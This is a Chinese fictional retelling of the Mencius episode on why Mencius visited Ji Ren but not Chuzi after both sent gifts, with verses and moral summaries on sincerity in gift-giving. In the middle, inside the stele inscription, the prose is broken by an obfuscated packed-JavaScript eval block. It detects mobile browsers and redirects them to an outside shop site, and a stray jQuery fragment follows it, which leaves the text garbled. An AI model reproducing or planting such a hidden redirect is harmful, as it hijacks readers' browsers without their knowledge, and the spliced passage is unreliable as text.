楔子不报之疑


    时值列国兵争，邹邑有儒生孟柯，避乱寓居。是年冬，两处礼至：一为任国季任所赠，时季任为任国守臣；一为齐国储子所馈，储子乃齐相。孟柯皆受之，皆不报。


    门人屋庐子窃喜，谓同窗：“吾得隙矣！夫子见季子不见储子，必因储子为相，位高而怠乎？”


    遂问孟柯：“夫子往任国见季子，至齐却不见储子，可是因储子为相，仪节不周？”


    孟柯摇首：“非也。《书经》有云：‘享献贵在礼仪，若仪不及物，便是不享，因其心不在此。’储子之馈，不成享礼。”


    屋庐子恍然，悦而退。有客问故，屋庐子道：“季子守任，不能亲来邹；储子相齐，可至平陆而未至。此仪不及物也。”


    客不解，屋庐子亦难尽述。是夜，有白衣人影现于庭中，斗笠面纱，木剑负背，手执两封束帖，轻笑：


    “季任守任不之邹，


    储子相齐可至陆。


    享礼岂在币帛厚，


    但看诚心足不足。”


    一、 束帖之辨


    屋庐子惊起揖问，白衣人示以束帖：“此二帖，一为季子笔，一为储子书，子可辨高下？”


    屋庐子观之，季子帖曰：“任国边守季任，遥拜孟夫子。道阻兵凶，不克亲谒，谨奉薄币，惟祈康吉。他日若得履邹，当执弟子礼。”字迹朴拙，有刀兵气。


    储子帖曰：“齐相储子致孟先生：闻先生贤，赠币交欢。他日过齐，可来相见。”字迹工丽，然寥寥数语。


    屋庐子疑：“季子帖恭，储子帖傲。然馈币相当，夫子何以别之？”


    白衣人问：“子见猎户献鹿与贵人赐帛，孰诚？”


    “猎户献鹿，是敬贤；贵人赐帛，是施恩。”


    “然也。”白衣人颔首，“季子守任，职责在身，不能离境，是‘不得之邹’。然束帖情深，如面谒。储子为相，齐都至平陆，不过数日路程，是‘得之平陆而未至’。此所谓‘仪不及物’——物（币帛）至而仪（诚心）不至，便是不成享礼。”


    屋庐子恍然：“是故夫子往任见季子，是报其诚；不见储子，是责其慢。”


    “非责，是明礼。”白衣人正色，“今乱世，多有人以币帛交结，自谓礼贤。然礼在诚，不在币。夫子不受虚礼，正是立范。”


    言未已，有客至，乃纵横家公孙衍，闻孟柯受币不报，特来讥讽。闻二人言，嗤道：“孟轲迂哉！季任、储子皆馈币，何分彼此？得馈是实，见与不见是虚。何不虚与委蛇，广结善缘？”


    白衣人转视公孙衍：“先生以为，猎户赠鹿与贵人赐帛，可同日语乎？”


    “皆为肉耳！”


    “差矣。”白衣人取桌上茶盏，“此盏，我敬君饮，是礼；我掷地，令君自拾，亦是予盏。可同乎？”


    公孙衍语塞。白衣人续道：“季子是‘敬赠’，储子是‘赐交’。一字之别，千里之遥。夫子明察秋毫，正是圣贤处。若如先生言，来者不拒，是自堕为货，待价而沽矣。”


    公孙衍面红而去。屋庐子拜服：“听先生一席，胜读十年礼经。”


    二、 三享之验


    越明日，有三人携礼来谒孟柯。一为鲁商，赠金百镒；一为邹邑乡老，赠腊肉一束；一为邻童，赠野菊数枝。


    孟柯见鲁商，辞金不受；见乡老，受肉而谢；见邻童，受菊插瓶，抚童首嘉许。


    屋庐子又不解。白衣人问：“子观三人，孰诚？”


    屋庐子思忖：“鲁商赠最厚，然目有求色；乡老赠虽薄，情意殷切；邻童纯真，菊是亲采。”


    “是矣。”白衣人道，“此即‘享多仪，仪不及物曰不享’。鲁商赠厚仪薄，是‘不役志于享’；乡老赠薄仪厚，是诚享；邻童无仪有真，是至享。夫子分别待之，正是教礼。”


    时孟柯召屋庐子，问：“汝明三赠之别乎？”


    屋庐子谨答：“鲁商以利交，乡老以情交，邻童以真交。”


    孟柯莞尔：“然。礼者，心之文也。文胜质则史，质胜文则野。鲁商文胜，邻童质胜，乡老文质彬彬。我受乡老之肉，是报其文质；受邻童之菊，是护其天真；辞鲁商之金，是戒其文胜。”


    屋庐子大悟。白衣人在侧，拊掌道：“夫子此判，可为天下式。”


    未几，有季任使者至，再奉束帖，言：“守臣季任，蒙夫子不弃，亲临赐教。今任地有贤士三人，慕夫子德，愿附函荐之。”附三名刺，皆布衣之士。


    又有储子使者至，亦奉束帖：“相国储子，闻夫子过齐不见，甚憾。特再赠玉璧一双，望夫子笑纳。”


    孟柯展季任帖，见字字恳切，荐士皆详其品行，叹：“季子诚人也。”欣然回书。


    观储子帖，但见礼单，无一字问学，默然置之。使者催问，孟柯道：“请回禀相国：孟轲非贾人，不受无名之赐。”


    屋庐子问：“季子亦赠，何别？”


    孟柯曰：“季子赠而荐贤，是重道；储子赠而炫富，是轻士。享礼在心，岂在币乎？”


    白衣人闻之，对屋庐子道：“此即‘不得之邹’与‘得之平陆’之别。季子不能亲至，然以荐贤代躬，是仪胜物；储子可至而不至，以币代诚，是物胜仪。夫子明察，正在此微芒间。”


    三、 享礼之教


    事传邹邑，有富绅效储子，具厚礼往赠名士，皆遭拒。绅怒，诘孟柯：“先生拒储子，是教人轻礼乎？”


    时孟柯游于郊，白衣人代答：“非拒礼，是重礼。礼者，自卑而尊人。今君赠礼，是尊人乎？是炫富乎？”


    绅不服。白衣人指田间老农：“此老，昨日赠夫子瓜一枚，夫子受而谢。君赠千金，夫子却之。何也？”


    “瓜贱金贵！”


    “谬矣。”白衣人摇头，“老农赠瓜，是‘享’；君赠金，是‘市’。享者，以诚相敬；市者，以利相易。夫子不受市，是守礼之洁。”


    绅语塞。白衣人又引至学舍，见童子互赠竹马、泥人。问：“此是礼否？”


    “童戏耳，何礼之有？”


    “此是真礼。”白衣人正色，“无求无饰，纯然相悦，是礼之本。君赠金，可有此纯心？”


    绅惭而退。孟柯闻之，谓门人：“白衣客深得礼意。汝等当记：享礼不在物厚，在诚至；交际不在利交，在义合。季子以诚，故我见之；储子以利，故我不见。此非傲，是谨。”


    屋庐子问：“然则世途交际，何以别诚利？”


    孟柯曰：“观其志。志在道者，礼薄亦诚；志在利者，礼厚亦伪。季子守任而荐贤，志在道；储子为相而炫富，志在利。岂难辨耶？”


    是夜，白衣人辞行。屋庐子问：“先生何以教我辈？”


    白衣人指天上月：“月照万物，不分贵贱。然浊水映月则昏，清水映月则明。礼如月，心如水。心诚则礼明，心利则礼浊。但修诚心，自能辨浊清。”


    言罢，踏月而去，吟哦声袅袅：


    “季任守任币交深，


    储子相齐礼数沉。


    享多仪重物难及，


    一片诚心胜万金。


    不见非为傲卿相，


    相见正是重儒襟。


    寄语世间交结者，


    莫将币帛换知音。”


    四、 享碑之立


    后数岁，孟柯道彰，从者日众。屋庐子为纪“币享之辨”，于邹邑立“享礼碑”，刻孟子受币事。碑阴镌“享礼三鉴”：


    “一鉴：物不及仪，是谓不享。


    赠厚而心薄，不如勿赠。


    二鉴：仪不及物，是谓虚享。


    礼繁而意浅，不如简诚。


    三鉴：心物相称，是谓真享。


    片诚抵万金，一语重九鼎。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088202|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    季子守任不之邹，


    储子得至未亲临。


    千古享礼分明在，


    莫将诚心等浮沉。”


    碑成，有游士过而哂：“孟轲矫情！受人之礼，何必厚此薄彼？”


    适有乡童采野果奉母，过碑下，闻之仰首：“先生，我若赠你果，你喜否？”


    游士随口：“喜。”


    “若我夺人果赠你，你喜否？”


    游士怔然。童曰：“季子之赠，如我采果；储子之赠，如夺人果。虽皆果，可同乎？”


    游士大惭，揖童而去。时人传为佳话。


    后逢战乱，邹邑遭兵燹，碑仆。乱平，乡人重修，见碑底有字，乃当年白衣人所题：


    “礼者，心之镜也。


    照人肝胆，洞悉伪真。


    季子之诚，储子之慢，


    千年以下，犹在镜中。


    愿后来者，


    赠人勿吝诚，


    受礼须察心。


    诚至则物轻，


    心伪则礼重。


    慎之，慎之！”


    众乃知白衣人非凡，奉碑如圭臬。自此邹邑风俗，赠必以诚，受必以义。有客赠千金而意傲，童子亦拒之。


    尾声享礼余韵


    百年后，有使臣过邹，见“享礼碑”，问典故。乡老述孟柯、季任、储子事。使臣叹：“今世交际，但重币帛，不问诚伪。此碑当立朝堂！”


    归国后，仿立“交谊碑”于驿馆。然效者寥寥，多笑其迂。


    一夕，有白衣人影现驿馆，抚碑叹：


    “季子储子俱尘埃，


    享礼真伪碑上载。


    世人但羡千金赠，


    谁解诚心片字来？


    礼失非为玉帛薄，


    交疏皆因利欲薆。


    愿得清风洗尘眼，


    莫将市井作兰台。”


    叹罢，挥剑于碑侧刻：


    “赠者无心莫赠金，


    受者有义可受针。


    千古交游唯一字，


    诚。”


    刻毕，掷剑长啸，踏月而去。馆外古柏，飒飒如涛。


    似在说：


    诚啊，伪啊。


    碑上分明。


    本章诫世


    一、 享礼在诚


    - 享多仪，仪不及物曰不享，惟不役志于享


    - 破解法：受人礼，当察其诚；赠人礼，当尽己诚


    - 示例：季任守任不能至，而诚在帖中；储子可至而不至，是仪不及物


    二、 得至之别


    - 季子不得之邹，储子得之平陆，此诚伪之关键


    - 惕世：多少“礼到人不到”是轻慢？多少“人未到礼到”是无奈？


    - 反思：交际往来，是“不得”而诚，还是“得而不为”？


    三、 心物之衡


    - 礼在心物之间，心重物轻是真享，物重心轻是虚礼


    - 深层隐喻：一切人情往来，皆映心镜


    - 终极指向：诚为礼魂，无诚不礼


    享礼偈：


    兵乱年间邹邑中，季任储子币交同。


    一诚一伪分明辨，孟轲不见与见公。


    享礼岂在玉帛厚，交情只向寸心通。


    至今碑文风雨蚀，犹说诚心古今崇。


    后世叹：


    孟轲居邹避兵凶，季任储子币交重。


    受而不报见有别，屋庐问故得启蒙。


    享多仪不及物是虚，诚至物轻乃为恭。


    寄语世间赠受者，莫将礼数等常庸。


    正是：


    季任守任币交深，储子相齐礼数沉。


    享多仪重物难及，诚至心真义可钦。


    不见非为傲卿相，相见正是重儒襟。


    千古交游贵在诚，莫将币帛论浅深。